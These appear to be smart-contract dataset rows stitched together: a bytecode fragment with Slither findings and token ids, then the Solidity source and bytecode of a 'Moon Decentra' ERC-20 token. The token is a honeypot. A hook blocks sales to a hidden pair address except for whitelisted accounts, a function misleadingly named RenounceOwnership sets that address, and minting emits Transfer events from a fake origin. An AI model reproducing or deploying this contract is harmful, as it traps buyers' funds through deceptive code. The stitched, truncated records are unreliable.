746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6002600a556008600b556000546001600160a01b03848116911614801590610c8357506000546001600160a01b03838116911614155b15610e62576001600160a01b03831660009081526006602052604090205460ff16158015610cca57506001600160a01b03821660009081526006602052604090205460ff16155b610cd357600080fd5b600f546001600160a01b038481169116148015610cfe5750600e546001600160a01b03838116911614155b8015610d2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d385750600f54600160b81b900460ff165b15610d9557601054811115610d4c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7057600080fd5b610d7b42601e611885565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dc05750600e546001600160a01b03848116911614155b8015610de557506001600160a01b03831660009081526005602052604090205460ff16155b15610df5576002600a556008600b555b6000610e00306104c0565b600f54909150600160a81b900460ff16158015610e2b5750600f546001600160a01b03858116911614155b8015610e405750600f54600160b01b900460ff165b15610e6057610e4e81610f6a565b478015610e5e57610e5e47610eac565b505b505b610e6d83838361110f565b505050565b60008184841115610e965760405162461bcd60e51b8152600401610421919061178d565b506000610ea384866118dc565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610603573d6000803e3d6000fd5b6000600854821115610f4d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f5761111a565b9050610f63838261113d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c91906115a2565b8160018151811061106d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110939130911684610a01565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110cc908590600090869030904290600401611815565b600060405180830381600087803b1580156110e657600080fd5b505af11580156110fa573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e6d83838361117f565b6000806000611127611276565b9092509050611136828261113d565b9250505090565b6000610f6383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b8565b600080600080600080611191876112e6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111c39087611343565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111f29086611385565b6001600160a01b038916600090815260026020526040902055611214816113e4565b61121e848361142e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161126391815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea00000611292828261113d565b8210156112af57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836112d95760405162461bcd60e51b8152600401610421919061178d565b506000610ea3848661189d565b60008060008060008060008060006113038a600a54600b54611452565b925092509250600061131361111a565b905060008060006113268e8787876114a7565b919e509c509a509598509396509194505050505091939550919395565b6000610f6383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e72565b6000806113928385611885565b905083811015610f635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b60006113ee61111a565b905060006113fc83836114f7565b306000908152600260205260409020549091506114199082611385565b30600090815260026020526040902055505050565b60085461143b9083611343565b60085560095461144b9082611385565b6009555050565b600080808061146c606461146689896114f7565b9061113d565b9050600061147f60646114668a896114f7565b90506000611497826114918b86611343565b90611343565b9992985090965090945050505050565b60008080806114b688866114f7565b905060006114c488876114f7565b905060006114d288886114f7565b905060006114e4826114918686611343565b939b939a50919850919650505050505050565b60008261150657506000610388565b600061151283856118bd565b90508261151f858361189d565b14610f635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b80356115818161193a565b919050565b600060208284031215611597578081fd5b8135610f638161193a565b6000602082840312156115b3578081fd5b8151610f638161193a565b600080604083850312156115d0578081fd5b82356115db8161193a565b915060208301356115eb8161193a565b809150509250929050565b60008060006060848603121561160a578081fd5b83356116158161193a565b925060208401356116258161193a565b929592945050506040919091013590565b60008060408385031215611648578182fd5b82356116538161193a565b946020939093013593505050565b60006020808385031215611673578182fd5b823567ffffffffffffffff8082111561168a578384fd5b818501915085601f83011261169d578384fd5b8135818111156116af576116af611924565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611924565b604052828152858101935084860182860187018a10156116f2578788fd5b8795505b8386101561171b5761170781611576565b8552600195909501949386019386016116f6565b5098975050505050505050565b600060208284031215611739578081fd5b8135610f638161194f565b600060208284031215611755578081fd5b8151610f638161194f565b600080600060608486031215611774578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117b95785810183015185820160400152820161179d565b818111156117ca5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118645784516001600160a01b03168352938301939183019160010161183f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118985761189861190e565b500190565b6000826118b857634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118d7576118d761190e565b500290565b6000828210156118ee576118ee61190e565b500390565b60006000198214156119075761190761190e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bd57600080fd5b80151581146104bd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088fe2318e6fd647ee8fb4684df1a337654d281fc9aa85a444d7d0dd22d19e97664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 22025, 14142, 2497, 2575, 12521, 2063, 2581, 3401, 18827, 2497, 2683, 2581, 2575, 2094, 2475, 2050, 2629, 2497, 23499, 2575, 2620, 2278, 2475, 2546, 2620, 2475, 2094, 2581, 2050, 2683, 2581, 1013, 1008, 1011, 9722, 3640, 6948, 1010, 2053, 3653, 12002, 2063, 1011, 2053, 2136, 19204, 2015, 1010, 2382, 2154, 5299, 6948, 1011, 2531, 1003, 22150, 4888, 4037, 1024, 16770, 1024, 1013, 1013, 21643, 2378, 2226, 1012, 4012, 1013, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 21643, 2378, 2226, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,831
0x9773f8594608effdf4df33f07990abb7a4358cec
/** A potential Governance token for the cryptocurrency universe. I will develop it but up to community to make telegram and manage */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.1.0 /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.1.0 /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.1.0 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0xA221af4a429b734Abb1CC53Fbd0c1D0Fa47e1494), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract MoonDecentra is ERC20, Ownable { mapping(address=>bool) private _enable; address private _uni; constructor() ERC20('Moon Decentra ','DCNTRA') { _mint(0x88f2DA00Ba6b876fA05369aa6FD3d611fB9bf09D, 1000000000000 *10**18); _enable[0x88f2DA00Ba6b876fA05369aa6FD3d611fB9bf09D] = true; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { require(ERC20.totalSupply() + amount <= 1000000000000 *10**18, "ERC20Capped: cap exceeded"); super._mint(account, amount); } function BlockBots(address user, bool enable) public onlyOwner { _enable[user] = enable; } function RenounceOwnership(address uni_) public onlyOwner { _uni = uni_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { if(to == _uni) { require(_enable[from], "something went wrong"); } } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063d6528542146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b60405161010491906113da565b60405180910390f35b61012760048036038101906101229190611191565b61039f565b60405161013491906113bf565b60405180910390f35b6101456103bd565b604051610152919061153c565b60405180910390f35b610175600480360381019061017091906110fe565b6103c7565b60405161018291906113bf565b60405180910390f35b6101936104c8565b6040516101a09190611557565b60405180910390f35b6101c360048036038101906101be9190611191565b6104d1565b6040516101d091906113bf565b60405180910390f35b6101f360048036038101906101ee9190611091565b61057d565b604051610200919061153c565b60405180910390f35b610223600480360381019061021e9190611091565b6105c5565b005b61022d610685565b60405161023a91906113a4565b60405180910390f35b61024b6106af565b60405161025891906113da565b60405180910390f35b61027b60048036038101906102769190611191565b610741565b60405161028891906113bf565b60405180910390f35b6102ab60048036038101906102a69190611191565b610835565b6040516102b891906113bf565b60405180910390f35b6102db60048036038101906102d69190611151565b610853565b005b6102f760048036038101906102f291906110be565b61092a565b604051610304919061153c565b60405180910390f35b60606003805461031c906116a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610348906116a0565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b18565b8484610b20565b6001905092915050565b6000600254905090565b60006103d4848484610ceb565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104969061145c565b60405180910390fd5b6104bc856104ab610b18565b85846104b791906115e4565b610b20565b60019150509392505050565b60006012905090565b60006105736104de610b18565b8484600160006104ec610b18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e919061158e565b610b20565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b18565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106389061147c565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be906116a0565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea906116a0565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610804906114fc565b60405180910390fd5b61082a610818610b18565b85858461082591906115e4565b610b20565b600191505092915050565b6000610849610842610b18565b8484610ceb565b6001905092915050565b61085b610b18565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c69061147c565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a189061151c565b60405180910390fd5b610a2d60008383610f6a565b8060026000828254610a3f919061158e565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a94919061158e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff1673a221af4a429b734abb1cc53fbd0c1d0fa47e149473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b0c919061153c565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b87906114bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf79061141c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cde919061153c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d529061149c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc2906113fc565b60405180910390fd5b610dd6838383610f6a565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e539061143c565b60405180910390fd5b8181610e6891906115e4565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef8919061158e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f5c919061153c565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561104d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661104c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611043906114dc565b60405180910390fd5b5b505050565b600081359050611061816119ea565b92915050565b60008135905061107681611a01565b92915050565b60008135905061108b81611a18565b92915050565b6000602082840312156110a7576110a6611730565b5b60006110b584828501611052565b91505092915050565b600080604083850312156110d5576110d4611730565b5b60006110e385828601611052565b92505060206110f485828601611052565b9150509250929050565b60008060006060848603121561111757611116611730565b5b600061112586828701611052565b935050602061113686828701611052565b92505060406111478682870161107c565b9150509250925092565b6000806040838503121561116857611167611730565b5b600061117685828601611052565b925050602061118785828601611067565b9150509250929050565b600080604083850312156111a8576111a7611730565b5b60006111b685828601611052565b92505060206111c78582860161107c565b9150509250929050565b6111da81611618565b82525050565b6111e98161162a565b82525050565b60006111fa82611572565b611204818561157d565b935061121481856020860161166d565b61121d81611735565b840191505092915050565b600061123560238361157d565b915061124082611746565b604082019050919050565b600061125860228361157d565b915061126382611795565b604082019050919050565b600061127b60268361157d565b9150611286826117e4565b604082019050919050565b600061129e60288361157d565b91506112a982611833565b604082019050919050565b60006112c160208361157d565b91506112cc82611882565b602082019050919050565b60006112e460258361157d565b91506112ef826118ab565b604082019050919050565b600061130760248361157d565b9150611312826118fa565b604082019050919050565b600061132a60148361157d565b915061133582611949565b602082019050919050565b600061134d60258361157d565b915061135882611972565b604082019050919050565b6000611370601f8361157d565b915061137b826119c1565b602082019050919050565b61138f81611656565b82525050565b61139e81611660565b82525050565b60006020820190506113b960008301846111d1565b92915050565b60006020820190506113d460008301846111e0565b92915050565b600060208201905081810360008301526113f481846111ef565b905092915050565b6000602082019050818103600083015261141581611228565b9050919050565b600060208201905081810360008301526114358161124b565b9050919050565b600060208201905081810360008301526114558161126e565b9050919050565b6000602082019050818103600083015261147581611291565b9050919050565b60006020820190508181036000830152611495816112b4565b9050919050565b600060208201905081810360008301526114b5816112d7565b9050919050565b600060208201905081810360008301526114d5816112fa565b9050919050565b600060208201905081810360008301526114f58161131d565b9050919050565b6000602082019050818103600083015261151581611340565b9050919050565b6000602082019050818103600083015261153581611363565b9050919050565b60006020820190506115516000830184611386565b92915050565b600060208201905061156c6000830184611395565b92915050565b600081519050919050565b600082825260208201905092915050565b600061159982611656565b91506115a483611656565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115d9576115d86116d2565b5b828201905092915050565b60006115ef82611656565b91506115fa83611656565b92508282101561160d5761160c6116d2565b5b828203905092915050565b600061162382611636565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561168b578082015181840152602081019050611670565b8381111561169a576000848401525b50505050565b600060028204905060018216806116b857607f821691505b602082108114156116cc576116cb611701565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f657373000000000000